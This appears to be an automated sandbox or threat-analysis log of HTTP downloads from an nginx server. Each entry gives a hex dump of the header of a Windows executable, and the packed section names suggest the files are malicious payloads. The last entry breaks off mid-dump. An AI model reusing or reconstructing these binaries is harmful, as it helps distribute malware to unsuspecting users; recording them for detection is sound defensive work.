Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:24:35 GMTContent-Type: application/octet-streamContent-Length: 1949184Last-Modified: Tue, 22 Oct 2024 17:10:02 GMTConnection: keep-aliveETag: "6717dc6a-1dbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4d 00 00 04 00 00 5a 34 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 b1 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b1 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6d 71 79 64 76 77 73 00 b0 1a 00 00 10 32 00 00 a2 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 71 6d 71 6d 71 61 79 00 10 00 00 00 c0 4c 00 00 06 00 00 00 96 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4c 00 00 22 00 00 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:24:39 GMTContent-Type: application/octet-streamContent-Length: 1826304Last-Modified: Tue, 22 Oct 2024 17:09:55 GMTConnection: keep-aliveETag: "6717dc63-1bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 f3 92 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 71 75 71 76 61 67 67 00 80 19 00 00 a0 4f 00 00 7c 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6b 63 78 6f 72 71 75 00 10 00 00 00 20 69 00 00 04 00 00 00 b8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 69 00 00 22 00 00 00 bc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:24:41 GMTContent-Type: application/octet-streamContent-Length: 2744320Last-Modified: Tue, 22 Oct 2024 17:12:36 GMTConnection: keep-aliveETag: "6717dd04-29e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 9e 94 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 61 6d 78 6f 61 6c 79 00 80 29 00 00 a0 00 00 00 80 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 62 65 6a 6e 61 63 65 00 20 00 00 00 20 2a 00 00 04 00 00 00 ba 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 be 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:10 GMTContent-Type: application/octet-streamContent-Length: 3008000Last-Modified: Tue, 22 Oct 2024 17:09:48 GMTConnection: keep-aliveETag: "6717dc5c-2de600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 31 00 00 04 00 00 70 df 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 70 6a 66 78 78 72 63 00 50 2b 00 00 00 06 00 00 4e 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 73 78 61 69 6c 75 73 00 10 00 00 00 50 31 00 00 06 00 00 00 be 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 31 00 00 22 00 00 00 c4 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:10 GMTContent-Type: application/octet-streamContent-Length: 3008000Last-Modified: Tue, 22 Oct 2024 17:09:48 GMTConnection: keep-aliveETag: "6717dc5c-2de600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 31 00 00 04 00 00 70 df 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 70 6a 66 78 78 72 63 00 50 2b 00 00 00 06 00 00 4e 2b 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 73 78 61 69 6c 75 73 00 10 00 00 00 50 31 00 00 06 00 00 00 be 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 31 00 00 22 00 00 00 c4 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:16 GMTContent-Type: application/octet-streamContent-Length: 1826304Last-Modified: Tue, 22 Oct 2024 17:09:55 GMTConnection: keep-aliveETag: "6717dc63-1bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 f3 92 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 71 75 71 76 61 67 67 00 80 19 00 00 a0 4f 00 00 7c 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6b 63 78 6f 72 71 75 00 10 00 00 00 20 69 00 00 04 00 00 00 b8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 69 00 00 22 00 00 00 bc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:22 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Tue, 22 Oct 2024 17:12:08 GMTConnection: keep-aliveETag: "6717dce8-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e0 dc 17 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 32 c6 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
